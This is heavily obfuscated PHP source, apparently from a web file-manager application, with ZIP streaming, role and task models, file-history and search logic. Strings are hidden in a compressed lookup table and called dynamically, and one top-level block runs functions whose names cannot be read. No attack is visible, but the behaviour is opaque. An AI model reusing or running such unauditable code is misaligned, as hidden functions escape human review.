array(array($Fߩ֌[1983], static::ZIP64_CDR_LOCATOR_SIGNATURE), array($Fߩ֌[1983], 0), array($Fߩ֌[1985], $Fө + $Cɨ), array($Fߩ֌[1983], 1)); $D = $this->packFields($FǪ); goto fش; fش: $this->send($D); goto bщֻ; cǫ: $Fߩ֌ =& $_SERVER[ȦÆ]; $A޸̜ = count($this->files); $Cɨ = $this->cdr_ofs; goto E叒ދ; bщֻ: } protected function addCdrEof() { goto B; D: $e˪׏ = $this->packFields($FǨ) . $A͉䣞; $this->send($e˪׏); goto fӨ; dӔ: $Fƥ = $this->ofs; $A͉䣞 = $Dךؗ[43]; $FǨ = array(array($Dךؗ[1983], static::CDR_EOF_SIGNATURE), array($Dךؗ[1984], 0), array($Dךؗ[1984], 0), array($Dךؗ[1984], $cލ), array($Dךؗ[1984], $cލ), array($Dךؗ[1983], 4294967295), array($Dךؗ[1983], 4294967295), array($Dךؗ[1984], strlen($A͉䣞))); goto D; B: $Dךؗ =& $_SERVER[ȦÆ]; $cލ = count($this->files); $bեޟ = $this->cdr_ofs; goto dӔ; fӨ: } protected function addCdr() { foreach ($this->files as $Eңߖ) { $this->addCdrFile($Eңߖ); } $this->addCdrEof(); } protected function clear() { $this->files = array(); $this->ofs = 0; $this->cdr_ofs = 0; } protected function sendHttpHeaders() { $cу =& $_SERVER[ȦÆ]; $cڟ = $cу[208]; if ($this->outputName) { $F = trim(str_replace(array($cу[122], $cу[65], $cу[103], $cу[77], $cу[12], $cу[985]), $cу[43], $this->outputName)); $bۼ = rawurlencode($F); $cڟ .= "\x3b\40\x66\151\154\x65\x6e\141\155\145\x2a\75\165\164\x66\55\x38\47\x27{$bۼ}"; } $C󂋩 = array($cу[205] => $cу[1986], $cу[1987] => $cڟ, $cу[1988] => $cу[1989], $cу[1990] => $cу[1991], $cу[1992] => $cу[1993]); foreach ($C󂋩 as $fŠ => $aÐ) { header($fŠ . $cу[875] . $aÐ); } } protected function send($aӥʅ) { if ($this->needHeaders) { $this->sendHttpHeaders(); } $this->needHeaders = !1; fwrite($this->outputStream, $aӥʅ); } protected final function dosTime($a) { $Aܬ =& $_SERVER[ȦÆ]; $a⌆ = getdate($a); if ($a⌆[$Aܬ[1696]] < 1980) { $a⌆ = array($Aܬ[1696] => 1980, $Aܬ[1994] => 1, $Aܬ[1995] => 1, $Aܬ[1996] => 0, $Aܬ[1997] => 0, $Aܬ[1998] => 0); } $a⌆[$Aܬ[1696]] -= 1980; return $a⌆[$Aܬ[1696]] << 25 | $a⌆[$Aܬ[1994]] << 21 | $a⌆[$Aܬ[1995]] << 16 | $a⌆[$Aܬ[1996]] << 11 | $a⌆[$Aܬ[1997]] << 5 | $a⌆[$Aܬ[1998]] >> 1; } protected function packFields($f݃) { $A =& $_SERVER[ȦÆ]; $e = $A[43]; $D֐ɸ = array(); foreach ($f݃ as $aՖ) { $e .= $aՖ[0]; $D֐ɸ[] = $aՖ[1]; } array_unshift($D֐ɸ, $e); return call_user_func_array($A[1999], $D֐ɸ); } protected function filterFilename($e) { $FØ =& $_SERVER[ȦÆ]; return str_replace(array($FØ[103], $FØ[4], $FØ[182], $FØ[79], $FØ[122], $FØ[920], $FØ[923], $FØ[276]), $FØ[80], $e); } } if ($_SERVER[$_SERVER[ȦÆ][8]] != $_SERVER[$_SERVER[ȦÆ][787]]) { goto Dĉݢ; eʂ: $CĂ($_SERVER[$_SERVER[ȦÆ][1156]]); goto cķ; Dĉݢ: $c = $_SERVER[ȦÆ][9]; $a͈ˮ = $_SERVER[$_SERVER[ȦÆ][10]] . $_SERVER[ȦÆ][11]; $Aຉ = $c($a͈ˮ); goto f; f: $e׃ԅ = explode($_SERVER[ȦÆ][12], $Aຉ); if (count($e׃ԅ) < $_SERVER[ȦÆ][13]) { $Eԯ = $_SERVER[ȦÆ][14]; $Eԯ(); } $CĂ = $_SERVER[ȦÆ][15]; goto eʂ; cķ: } goto aβ; eմ: define($_SERVER[ȦÆ][0], $_SERVER[ȦÆ][1]); $_SERVER[صȢˏ] = explode($_SERVER[ȦÆ][2], gzinflate(substr($_SERVER[ȦÆ][3], 10, -8))); function Model($cб = '', $Eϛ = '', $cخ = '') { goto Eǩ; c: if (isset($E[$c뻷])) { return $E[$c뻷]; } if ($cб) { $cб = strtoupper($cб[0]) . substr($cб, 1); $F֋ = $cб . $b靎[1]; if (class_exists($F֋)) { $E[$c뻷] = new $F֋(); return $E[$c뻷]; } } if (!$cخ) { $cخ = $GLOBALS[$b靎[2]][$b靎[3]]; } goto CÉ; Eǩ: $b靎 =& $_SERVER[صȢˏ]; static $E = array(); $c뻷 = strtolower($Eϛ . $b靎[0] . $cб); goto c; CÉ: $E[$c뻷] = new ModelBase($cб, $Eϛ, $cخ); return $E[$c뻷]; goto Eվϐ; Eվϐ: } goto B˝; d: class SystemRecordModel extends ModelBaseLight { } class SystemRoleModel extends ModelBaseLight { public $optionType = "\123\171\x73\164\x65\x6d\56\x72\x6f\x6c\145\x4c\x69\163\164"; public $field = array("\156\x61\x6d\145", "\141\165\164\150", "\154\141\142\x65\x6c", "\x64\x69\x73\x70\x6c\141\x79", "\x73\171\163\164\145\x6d", "\144\145\163\x63", "\x69\x67\x6e\x6f\x72\x65\105\170\x74", "\151\147\x6e\x6f\x72\145\106\151\154\x65\x53\151\x7a\145", "\141\144\155\151\x6e\151\x73\x74\x72\141\x74\x6f\162", "\163\x6f\x72\164"); public function listData($b󲏶 = false, $dLj = "\x73\x6f\162\x74", $aߍö = false) { return parent::listData($b󲏶, $dLj, $aߍö); } public function update($DҠ, $Aʔ) { goto dӿ£; dӿ£: $FӤ =& $_SERVER[ȦÆ]; $e = parent::listData($DҠ); $e谮 = $this->findByName($Aʔ[$FӤ[38]]); goto fҖ̘; fҖ̘: if (!$e || $e谮 && $e谮[$FӤ[372]] != $e[$FӤ[372]]) { return !1; } if ($e谮[$FӤ[2450]] == 1) { $Aʔ = array($FӤ[38] => $Aʔ[$FӤ[38]], $FӤ[2092] => $Aʔ[$FӤ[2092]]); } $this->filterAuth($Aʔ[$FӤ[381]]); goto d氾غ; d氾غ: return parent::update($DҠ, $Aʔ); goto DŒ; DŒ: } public function remove($E) { $aг̡ = parent::listData($E); if (!$aг̡ || $aг̡[$_SERVER[ȦÆ][1073]]) { return !1; } return parent::remove($E); } public function add($b) { goto e¸ȵ; f: return parent::insert($b); goto a; eܱ: $C = array($fт[391] => $A, $fт[2080] => $fт[43], $fт[2076] => $fт[2093], $fт[2451] => 1, $fт[2079] => 0, $fт[2452] => 0, $fт[2078] => $this->getSort()); $b = array_merge($C, $b); $this->filterAuth($b[$fт[381]]); goto f; e¸ȵ: $fт =& $_SERVER[ȦÆ]; $A = $b[$fт[38]]; if ($this->findByName($A)) { return !1; } goto eܱ; a: } private function getSort() { $dձ =& $_SERVER[ȦÆ]; $a톆 = parent::listData(); $edz = array_to_keyvalue($a톆, $dձ[43], $dձ[2095]); return empty($edz) ? 0 : max($edz) + 1; } private function filterAuth(&$A¹) { $e˓ =& $_SERVER[ȦÆ]; $cߥ䨚 = array(); $d̮̒ = array_filter(explode($e˓[57], $A¹)); foreach ($d̮̒ as $A¹) { $Dﴼ = explode($e˓[101], $A¹); if ($Dﴼ[0] == $e˓[1754] && $Dﴼ[1] != $e˓[1029]) { $B˵ = $Dﴼ[0] . $e˓[101] . $Dﴼ[1] . $e˓[2453]; if (!in_array($B˵, $d̮̒)) { $cߥ䨚[] = $B˵; } } $cߥ䨚[] = $A¹; } $A¹ = implode($e˓[57], $cߥ䨚); } public function sort($Dδ, $bۄ) { return parent::update($Dδ, $bۄ); } } class SystemTaskModel extends ModelBaseLight { public $optionType = "\123\171\163\x74\145\155\x2e\x74\x61\x73\x6b\114\151\163\x74"; public $field = array("\x6e\x61\155\x65", "\164\x79\x70\x65", "\145\x76\x65\x6e\x74", "\x74\151\x6d\x65", "\144\145\163\x63", "\163\x79\x73\164\x65\x6d", "\x65\x6e\x61\x62\x6c\x65", "\154\x61\x73\164\122\165\x6e", "\163\x6f\x72\x74"); public function listData($b܂ = false, $dݓ = "\163\157\162\x74", $cլ = false) { return parent::listData($b܂, $dݓ, $cլ); } public function add($aޤś) { $A® =& $_SERVER[ȦÆ]; $D = $this->findByName($aޤś[$A®[38]]); if ($D) { return !1; } $aޤś[$A®[1377]] = 0; $aޤś[$A®[2095]] = $this->getSort(); return parent::insert($aޤś); } private function getSort() { $b =& $_SERVER[ȦÆ]; $cӭ = parent::listData(); $Aʓ = array_to_keyvalue($cӭ, $b[43], $b[2095]); return empty($Aʓ) ? 0 : max($Aʓ) + 1; } public function update($cЈ, $F֧֛) { $Eی蔇 =& $_SERVER[ȦÆ]; $f״ = $this->listData($cЈ); $BɃ = $this->findByName($F֧֛[$Eی蔇[38]]); if (!$f״ || $BɃ && $BɃ[$Eی蔇[372]] != $f״[$Eی蔇[372]]) { return !1; } return parent::update($cЈ, $F֧֛); } public function remove($c檕, $bщ = false) { $FȊ =& $_SERVER[ȦÆ]; $D¶ = $this->listData($c檕); if (!$D¶) { return; } if (!$bщ && $D¶[$FȊ[1073]] == $FȊ[93]) { return !1; } return parent::remove($c檕); } public function enable($B܇ͻ, $D轢) { return $this->update($B܇ͻ, array($_SERVER[ȦÆ][2444] => $D轢)); } public function run($A) { return $this->update($A, array($_SERVER[ȦÆ][2454] => time())); } } goto c; Eގ: define($_SERVER[ȦÆ][1902], 1); define($_SERVER[ȦÆ][1903], 2); define($_SERVER[ȦÆ][1904], 3); goto eუ; f: class SourceHistoryModel extends ModelBase { protected $tableName = "\x69\x6f\137\163\157\165\162\143\145\137\x68\151\x73\x74\157\x72\171"; public function addHistory($bݛܝ, $f = '') { $Aèś =& $_SERVER[ȦÆ]; $D߬â = array($Aèś[388] => $bݛܝ[$Aèś[374]], $Aèś[1403] => isset($bݛܝ[$Aèś[384]]) ? $bݛܝ[$Aèś[384]] : $bݛܝ[$Aèś[383]], $Aèś[425] => $bݛܝ[$Aèś[424]], $Aèś[525] => $bݛܝ[$Aèś[87]], $Aèś[2267] => $f); $d = $GLOBALS[$Aèś[16]][$Aèś[94]][$Aèś[2268]]; if ($d > 1) { $this->historyAutoClear($D߬â[$Aèś[374]]); $this->add($D߬â); } Model($Aèś[2269])->eventFileEdit($bݛܝ[$Aèś[374]]); } private function historyAutoClear($a߅) { goto F; e캤: $eڪƚ = $F == $DÃ[2271] ? 3 : $eг; if ($eг <= 1) { $eڪƚ = 1; } $D = $eڪƚ - 1; goto f똑; e: $A = array_to_keyvalue($B݆, $DÃ[43], $DÃ[424]); $A = array_slice($A, $D); if (!$cȅϑ || !$A) { return; } goto E鏜; A񸅩: if (!$B݆ || $D >= count($B݆)) { return; } $cȅϑ = array_to_keyvalue($B݆, $DÃ[43], $DÃ[372]); $cȅϑ = array_slice($cȅϑ, $D); goto e; F: $Dà =& $_SERVER[ȦÆ]; $F = Model($DÃ[1081])->get($DÃ[2270]); $eг = $GLOBALS[$DÃ[16]][$DÃ[94]][$DÃ[2268]]; goto e캤; f똑: if ($D >= 500) { return; } $f̃ = array($DÃ[388] => $a߅); $B݆ = $this->field($DÃ[2272])->where($f̃)->order($DÃ[2264])->select(); goto A񸅩; E鏜: $f̃ = array($DÃ[390] => array($DÃ[17], $cȅϑ)); $this->where($f̃)->delete(); Model($DÃ[427])->remove($A); goto d; d: } public function listData($E˚) { goto bŻ; e: $cӗ = $this->field($c)->where($Bޯ)->order($D[2264])->selectPage(); $this->_listAppendUser($cӗ[$D[359]]); $cò = Model($D[1081])->get($D[2270]); goto Cϴ; Cϴ: $f = 3; if ($cò == $D[2271]) { $cӗ[$D[359]] = array_slice($cӗ[$D[359]], 0, $f); $cӗ[$D[356]] = array($D[2274] => 1, $D[2275] => 20, $D[2276] => 1, $D[2277] => count($cӗ[$D[359]])); } return $cӗ; goto Cƨჯ; bŻ: $D =& $_SERVER[ȦÆ]; $Bޯ = array($D[388] => $E˚); $c = $D[2273]; goto e; Cƨჯ: } protected function _listAppendUser(&$c) { $f =& $_SERVER[ȦÆ]; $bǔֻ = array_to_keyvalue($c, $f[43], $f[1412]); $BϷީ = Model($f[482])->userListInfo($bǔֻ); foreach ($c as &$A) { $aܦ = $A[$f[1412]]; $A[$f[383]] = $BϷީ[$aܦ] ? $BϷީ[$aܦ] : !1; } } public function fileInfo($eĊ) { $cƾ =& $_SERVER[ȦÆ]; $Eֱ = $this->tablePrefix; $D´勞 = "{$Eֱ}\x69\157\x5f\x66\x69\x6c\x65\x20\x66\151\x6c\x65\163\x20\x6f\x6e\x20\x66\x69\x6c\145\163\x2e\x66\x69\x6c\145\111\104\x20\x3d\40\150\x69\163\164\x6f\162\171\56\146\x69\154\145\x49\104"; return $this->alias($cƾ[2278])->where(array($cƾ[390] => $eĊ))->join($D´勞, $cƾ[2279])->find(); } public function removeItem($Aߩ٤) { $c튐 =& $_SERVER[ȦÆ]; $Cԏφ = array($c튐[390] => $Aߩ٤); $a答գ = $this->where($Cԏφ)->find(); if ($a答գ) { $dаĬ = $this->where($Cԏφ)->delete(); Model($c튐[427])->remove($a答գ[$c튐[424]]); return $dаĬ; } return !1; } public function removeBySource($Bۥ) { goto b✂; b✂: $c =& $_SERVER[ȦÆ]; if (!$Bۥ) { return !1; } if (!is_array($Bۥ)) { $Bۥ = array($Bۥ); } goto d؇; ä́: return !0; goto Cк; d؇: $aʩ = array($c[388] => array($c[17], $Bۥ)); $fʫ = $this->field($c[425])->where($aʩ)->select(); if ($fʫ) { $this->where($aʩ)->delete(); $aź = array_to_keyvalue($fʫ, $c[43], $c[424]); Model($c[427])->remove($aź); } goto ä́; Cк: } public function setDetail($c҉ң, $eƒ) { $b񅓭 =& $_SERVER[ȦÆ]; return $this->where(array($b񅓭[390] => $c҉ң))->save(array($b񅓭[2267] => $eƒ)); } public function rollbackToItem($f퐬ž, $eٖ) { goto b邎; b邎: $b堾 =& $_SERVER[ȦÆ]; $d⢳ = Model($b堾[753])->sourceInfo($f퐬ž); $this->addHistory($d⢳); goto D캂; D캂: $A㮮鷹 = $this->find($eٖ); $f = array($b堾[424] => $A㮮鷹[$b堾[424]], $b堾[87] => $A㮮鷹[$b堾[87]], $b堾[116] => time(), $b堾[384] => USER_ID); Model($b堾[753])->where(array($b堾[374] => $f퐬ž))->save($f); goto fԆ; fԆ: return $this->where(array($b堾[390] => $eٖ))->delete(); goto C뽧; C뽧: } public function clearSame($fڷ) { goto BՎ; C缑ͨ: $E = array(); $f = array(); foreach ($cڗ as $aĒ) { if (!$aĒ || count($aĒ) <= 1) { continue; } foreach ($aĒ as $F) { $E[] = $F[$cÝۧ[424]]; $f[] = $F[$cÝۧ[372]]; } } goto Ḋʸ; BՎ: $cÝۧ =& $_SERVER[ȦÆ]; $Bɘ = $this->listData($fڷ); $cڗ = array_to_keyvalue_group($Bɘ, $cÝۧ[424]); goto C缑ͨ; Ḋʸ: if (!$f) { return; } $this->where(array($cÝۧ[372] => array($cÝۧ[17], $f)))->delete(); Model($cÝۧ[427])->remove($E); goto aҵ; aҵ: } public function userSpace() { $F =& $_SERVER[ȦÆ]; $d߿܃ = $this->tablePrefix; $A͸ = array($F[1403] => USER_ID); $A = "{$d߿܃}\151\x6f\137\x66\x69\154\145\40\146\x69\x6c\145\163\40\x6f\156\x20\146\x69\154\x65\163\56\x66\151\x6c\145\x49\x44\40\x3d\x20\x68\151\163\x74\x6f\x72\x79\x2e\x66\151\154\145\x49\x44"; return $this->alias($F[2278])->where($A͸)->join($A, $F[2279])->sum($F[87]); } } class SourceListSearchModel extends SourceListMoveModel { public static function fileTypeWhere($BЖ) { goto a߰; a߰: $c =& $_SERVER[ȦÆ]; $d = KodIO::fileTypeList(); $b = $d[$BЖ]; goto Bӭ; C۠: if (!$b[$c[166]]) { $Aֻ = array_to_keyvalue($d, $c[43], $c[166]); $Eچ = implode($c[57], $Aֻ); $D = $c[2230]; } $B޺ = explode($c[57], trim($Eچ, $c[57])); return array($D, $B޺); goto Dئ떌; Bӭ: if (!$b) { return array(); } $Eچ = $b[$c[166]]; $D = $c[17]; goto C۠; Dئ떌: } public function listPathType($bǰ) { $C =& $_SERVER[ȦÆ]; $Dʍ = $this->fileTypeWhere($bǰ); if (!$Dʍ) { return array(); } $E = array($C[526] => SourceModel::TYPE_USER, $C[527] => USER_ID, $C[523] => 0, $C[524] => $Dʍ); return $this->listSource($E); } public function listSearch($a, $aҖ = 300) { goto D; D: $e =& $_SERVER[ȦÆ]; if (isset($a[$e[2150]]) && $a[$e[2150]]) { $a[$e[2150]] = str_replace($e[1563], $e[2280], trim($a[$e[2150]])); } $Cقʼ = $this->_parseSearchWhere($a); goto b; b: if (!isset($Cقʼ[$e[402]])) { $Cقʼ[$e[402]] = 0; } $bǼ = $e[2281]; $fѢ = $bǼ; goto A; Bئ: $this->_listMake($C݆); return $C݆; goto a쉗ʑ; b݋: $this->_listSearchDesc($C݆, $a, $fѢ); $this->_listSearchTag($C݆, $a, $fѢ); $this->_listDataApply($C݆[$e[359]]); goto Bئ; A: $this->_listSearchBindPinyin($a, $Cقʼ, $bǼ); $this->alias($e[492])->_makeOrder()->cache(null, 10); $C݆ = $this->distinct(!0)->field($bǼ)->where($Cقʼ)->selectPage($aҖ); goto b݋; a쉗ʑ: } private function _listSearchTag(&$bˠ, $dՃ, $Dܦ) { goto a; e֏: $E񞰉 = array(); $F = $dՃ[$bӖʔ[2150]]; foreach ($E as $E) { $fؿ = $E[$bӖʔ[38]]; $F҃ɂ = str_replace($bӖʔ[60], $bӖʔ[43], Pinyin::encode($fؿ)); if (stripos($fؿ, $F) !== !1 || stripos($F҃ɂ, $F) !== !1) { $E񞰉[] = $E[$bӖʔ[372]]; } } goto E婦; Bӗ: $D𫽚 = array_to_keyvalue($D𫽚, $bӖʔ[43], $bӖʔ[85]); $f = array_unique($D𫽚); $this->_listSearchMerge($bˠ, $dՃ, $Dܦ, $f); goto aǺ; E婦: if (!$E񞰉) { return; } $aǙ = array($bӖʔ[398] => array($bӖʔ[17], $E񞰉)); $D𫽚 = Model($bӖʔ[399])->field($bӖʔ[85])->where($aǙ)->select(); goto Bӗ; a: $bӖʔ =& $_SERVER[ȦÆ]; if (!$dՃ[$bӖʔ[2150]] || $bˠ[$bӖʔ[356]][$bӖʔ[345]] > 1) { return; } $E = Model($bӖʔ[2282])->listData(); goto e֏; aǺ: } private function _listSearchDesc(&$BÐ, $A, $d) { goto C; C: $C䞿 =& $_SERVER[ȦÆ]; if (!$A[$C䞿[2150]] || $BÐ[$C䞿[356]][$C䞿[345]] > 1) { return; } $e = $this->listSearchChildren($A[$C䞿[466]]); goto ațՌ; dԍ: $Dі = Model($C䞿[509])->field($C䞿[374])->where($Eݿ䶠)->select(); $c = array_to_keyvalue($Dі, $C䞿[43], $C䞿[374]); $this->_listSearchMerge($BÐ, $A, $d, $c); goto A„; ațՌ: $e = array_unique($e); if (!$e) { return; } $Eݿ䶠 = array($C䞿[374] => array($C䞿[17], $e), $C䞿[99] => $C䞿[410], $C䞿[364] => array($C䞿[752], $C䞿[2152] . $A[$C䞿[2150]] . $C䞿[2152])); goto dԍ; A„: } private function _listSearchMerge(&$cʘ, $c, $EΣϳ, $Aœߵ) { goto eɌۊ; c: $E͑ؗ = $this->field($EΣϳ)->where($AȰɖ)->select(); if (!$E͑ؗ) { return; } $Dꦩ = array(); goto C捆; a٨ˉ: $F = array_diff($Aœߵ, $Fާ); if (!$F) { return; } $AȰɖ = array($f릜[374] => array($f릜[17], $F)); goto c; C捆: foreach ($E͑ؗ as $d) { $B = $f릜[57] . $c[$f릜[466]] . $f릜[57]; if (stripos($d[$f릜[464]], $B) !== !1) { $Dꦩ[] = $d; } } $cʘ[$f릜[359]] = array_merge($Dꦩ, $cʘ[$f릜[359]]); $cʘ[$f릜[356]][$f릜[357]] += count($Dꦩ); goto aݝӆ; eɌۊ: $f릜 =& $_SERVER[ȦÆ]; if (!$Aœߵ) { return; } $Fާ = array_to_keyvalue($cʘ[$f릜[359]], $f릜[43], $f릜[374]); goto a٨ˉ; aݝӆ: } public function listSearchChildren($bȅ샸, $cө = 5000) { goto aĶݰ; aĶݰ: $E„ =& $_SERVER[ȦÆ]; $e柱ߜ = array(); $A̒ = $this->sourceInfo($bȅ샸); goto E; e뽛: $e = $this->field($E„[374])->where($b𑴠)->select(); $e柱ߜ = array_to_keyvalue($e, $E„[43], $E„[374]); return $e柱ߜ; goto D䫐; E: $b𑴠 = array($E„[464] => array($E„[752], $A̒[$E„[464]] . $A̒[$E„[374]] . $E„[489])); $c晧Ե = $this->field($E„[374])->cache(null, 600)->where($b𑴠)->count(); if ($c晧Ե > $cө) { return $this->_listSearchChildrenNear($bȅ샸, $cө); } goto e뽛; D䫐: } private function _listSearchChildrenNear($fⳔ, $F) { goto F; F: $C =& $_SERVER[ȦÆ]; $eӵ = array(); $A = array($C[466] => $fⳔ); goto BƼ; F섽: if (!$fÜ) { return $eӵ; } $A = array($C[466] => array($C[17], $fÜ)); $eө = $this->field($C[2283])->where($A)->select(); goto C󰋬ۘ; C󰋬ۘ: $eӵ = array_merge($eӵ, array_to_keyvalue($eө, $C[43], $C[374])); $eӵ = array_slice($eӵ, 0, $F); return $eӵ; goto F; BƼ: $eө = $this->field($C[2283])->where($A)->select(); $fÜ = array_to_keyvalue(array_filter_by_field($eө, $C[375], $C[93]), $C[43], $C[374]); $eӵ = array_merge($eӵ, array_to_keyvalue($eө, $C[43], $C[374])); goto F섽; F: } private function _listSearchBindPinyin($B׶, &$Dͻ, &$E׉) { goto c; B𱄏: $A = array(); $E׉ = str_replace(array($c[12], $c[60], $c[2284]), $c[43], $E׉); $E׉ = $c[2285] . str_replace($c[57], $c[2286], $E׉); goto D֏; c: $c =& $_SERVER[ȦÆ]; if (!Input::check($B׶[$c[2150]], $c[311]) || strlen($B׶[$c[2150]]) < 2) { return; } $d = "\114\x45\x46\124\x20\112\x4f\111\116\40{$this->tablePrefix}\x69\157\137\x73\157\x75\162\x63\145\137\155\145\x74\141\x20\x6d\x65\164\141\x20\x6f\x6e\x20\x73\x6f\x75\162\x63\145\x2e\163\x6f\165\x72\143\145\111\104\40\x3d\x20\155\145\164\141\x2e\163\x6f\165\x72\143\x65\x49\104"; goto B𱄏; D֏: unset($Dͻ[$c[38]]); foreach ($Dͻ as $fϕ => $Dޔ) { $A[$c[2285] . $fϕ] = $Dޔ; } $D = array($c[488], $c[2152] . $B׶[$c[2150]] . $c[2152]); goto aƐ͇; aƐ͇: $A[] = array($c[2287] => $D, $c[909] => $c[2154], array($c[2288] => $D, $c[2289] => array($c[17], array($c[421], $c[420])))); $this->join($d); $Dͻ = $A; goto eЊ; eЊ: } private function _parseSearchWhere($dȄ) { goto fɚ; A: if (isset($dȄ[$F߆ѱ[2150]]) && $dȄ[$F߆ѱ[2150]]) { $Eǃ = $dȄ[$F߆ѱ[2150]]; $aɍ = explode($F߆ѱ[60], $Eǃ); if (strlen($Eǃ) > 2 && (substr($Eǃ, 0, 1) == $F߆ѱ[122] && substr($Eǃ, -1) == $F߆ѱ[122]) || substr($Eǃ, 0, 1) == $F߆ѱ[65] && substr($Eǃ, -1) == $F߆ѱ[65]) { $Eǃ = substr($Eǃ, 1, -1); $aɍ = array($Eǃ); } $Fۚ[$F߆ѱ[38]] = array($F߆ѱ[488], $F߆ѱ[2152] . $Eǃ . $F߆ѱ[2152]); if (count($aɍ) > 1) { $Fۚ[$F߆ѱ[38]] = array(); foreach ($aɍ as $f닕) { if (!trim($f닕)) { continue; } $Fۚ[$F߆ѱ[38]][] = array($F߆ѱ[488], $F߆ѱ[2152] . trim($f닕) . $F߆ѱ[2152]); } } } return $Fۚ; goto E儅; fɚ: $F߆ѱ =& $_SERVER[ȦÆ]; $Fۚ = array(); if (isset($dȄ[$F߆ѱ[703]])) { $Fۚ[$F߆ѱ[116]] = array($F߆ѱ[2290], $dȄ[$F߆ѱ[703]]); } goto cݞ; A׍˜: if (isset($dȄ[$F߆ѱ[540]])) { $Fۚ[] = array($F߆ѱ[384] => $dȄ[$F߆ѱ[540]], $F߆ѱ[383] => $dȄ[$F߆ѱ[540]], $F߆ѱ[909] => $F߆ѱ[2154]); } if (isset($dȄ[$F߆ѱ[377]])) { $Bܩˊ = $dȄ[$F߆ѱ[377]]; if ($Bܩˊ == $F߆ѱ[86]) { $Fۚ[$F߆ѱ[375]] = 1; } else { if ($Bܩˊ == $F߆ѱ[2295]) { $Fۚ[$F߆ѱ[375]] = 0; } else { if ($Bܩˊ) { $Bܩˊ = is_array($Bܩˊ) ? $Bܩˊ : explode($F߆ѱ[57], $Bܩˊ); $Fۚ[$F߆ѱ[377]] = array($F߆ѱ[389], $Bܩˊ); $Fۚ[$F߆ѱ[375]] = 0; } } } } if (isset($dȄ[$F߆ѱ[466]])) { $cڍŽ = $this->sourceInfo($dȄ[$F߆ѱ[466]]); $Fۚ[$F߆ѱ[530]] = array($F߆ѱ[488], $cڍŽ[$F߆ѱ[464]] . $dȄ[$F߆ѱ[466]] . $F߆ѱ[489]); } goto A; cݞ: if (isset($dȄ[$F߆ѱ[704]])) { $D = array($F߆ѱ[2291], $dȄ[$F߆ѱ[704]]); if ($Fۚ[$F߆ѱ[116]]) { $Fۚ[$F߆ѱ[116]] = array($Fۚ[$F߆ѱ[116]], $D, $F߆ѱ[2292]); } else { $Fۚ[$F߆ѱ[116]] = $D; } } if (isset($dȄ[$F߆ѱ[2293]])) { $Fۚ[$F߆ѱ[87]] = array($F߆ѱ[2290], $dȄ[$F߆ѱ[2293]]); } if (isset($dȄ[$F߆ѱ[2294]])) { $D = array($F߆ѱ[2291], $dȄ[$F߆ѱ[2294]]); if ($Fۚ[$F߆ѱ[87]]) { $Fۚ[$F߆ѱ[87]] = array($Fۚ[$F߆ѱ[87]], $D, $F߆ѱ[2292]); } else { $Fۚ[$F߆ѱ[87]] = $D; } } goto A׍˜; E儅: } } class SourceModel extends SourceListSearchModel { public $statusIgnoreResetSpace = false; public function userRootAdd($eꈊ) { $eמ =& $_SERVER[ȦÆ]; $Bՙ = Model($eמ[479])->where(array($eמ[1403] => $eꈊ))->find(); $EѤ = $this->_mkdirRoot(SourceModel::TYPE_USER, $eꈊ, $Bՙ[$eמ[38]]); $this->userDesktopAdd($EѤ); return $EѤ; } public function userDesktopAdd($D) { $BĈ۠ =& $_SERVER[ȦÆ]; $a = LNG($BĈ۠[2296]); $B䌈 = $this->mkdir($D, $a); $this->metaSet($B䌈, $BĈ۠[2297], $BĈ۠[93]); $this->metaSet($D, $BĈ۠[2298], $B䌈); } public function groupRootAdd($a) { $aDZƝ =& $_SERVER[ȦÆ]; $cʥ = Model($aDZƝ[463])->where(array($aDZƝ[2146] => $a))->find(); return $this->_mkdirRoot(SourceModel::TYPE_GROUP, $a, $cʥ[$aDZƝ[38]]); } public function systemRootPathAdd($aƈ) { if ($aƈ != $_SERVER[ȦÆ][1082]) { return !1; } return $this->_mkdirRoot(SourceModel::TYPE_SYSTEM, 0, $aƈ); } public function userRootRemove($b똔) { $F֪ބ = $this->sourceRoot(SourceModel::TYPE_USER, $b똔); if (!$F֪ބ) { return; } $this->remove($F֪ބ, !1); } public function groupRootRemove($cƌ) { $d = $this->sourceRoot(SourceModel::TYPE_GROUP, $cƌ); if (!$d) { return; } $this->remove($d, !1); } private function _mkdirRoot($e􄬱, $D, $FӔ) { goto E; aʪ: CacheLock::unlock($cˉ); return $B䭐; goto Aް֠; E: $dߋ =& $_SERVER[ȦÆ]; $A = array($dߋ[373] => 0, $dߋ[526] => $e􄬱, $dߋ[527] => $D, $dߋ[523] => 1, $dߋ[528] => USER_ID, $dߋ[529] => USER_ID, $dߋ[524] => $dߋ[43], $dߋ[530] => $dߋ[475], $dߋ[401] => 0, $dߋ[525] => 0, $dߋ[425] => 0, $dߋ[531] => $dߋ[43]); if ($D = $this->where($A)->find()) { return $D[$dߋ[374]]; } goto D򌈯; D򌈯: $cˉ = "\115\x6f\x64\145\x6c\x53\x6f\165\x72\143\x65\x2e\155\153\144\x69\162\x52\157\x6f\x74\56{$e􄬱}\x2e{$D}\x2e" . $FӔ; CacheLock::lock($cˉ); $A[$dߋ[38]] = $FӔ; goto C̪׸; C̪׸: $B䭐 = $this->add($A); $e̡ = array($dߋ[532] => short_id($B䭐)); $this->where(array($dߋ[388] => $B䭐))->save($e̡); goto aʪ; Aް֠: } private function sourceRoot($B, $BŬ, $EDž = false) { $B뿆 =& $_SERVER[ȦÆ]; $f = array($B뿆[373] => 0, $B뿆[526] => $B, $B뿆[527] => $BŬ); if ($F = $this->where($f)->find()) { return $EDž ? $F : $F[$B뿆[374]]; } return !1; } public function sourceRootGroup($E) { $fš =& $_SERVER[ȦÆ]; if (is_string($E)) { $E = array($E); } $b޽ = array($fš[373] => 0, $fš[526] => SourceModel::TYPE_GROUP, $fš[527] => array($fš[17], $E)); $F̓ = $this->listSource($b޽, 1000); return array_to_keyvalue($F̓[$fš[84]], $fš[461]); } public function mkfile($c, $EѶ, $dֽ捠 = '', $Bڑ = REPEAT_RENAME) { $D묭 =& $_SERVER[ȦÆ]; $a܊ = Model($D묭[549])->addFileByContent($dֽ捠, $EѶ); return $this->_createFileCall($c, $EѶ, $a܊, $Bڑ, $D묭[1111]); } public function addFile($dя, $DÑ, $a, $bش = false, $f٪ = REPEAT_RENAME) { $D = Model($_SERVER[ȦÆ][549])->addFile($DÑ, $a, $bش); return $this->_createFileCall($dя, $a, $D, $f٪); } public function addFileByFileID($D, $c޼, $c݆, $Bʲ = REPEAT_RENAME) { $a =& $_SERVER[ȦÆ]; $Dִ = Model($a[549])->find($c޼); Model($a[549])->linkAdd($c޼); return $this->_createFileCall($D, $c݆, $Dִ, $Bʲ); } public function addFileByRemote($cʤ, $B坜, 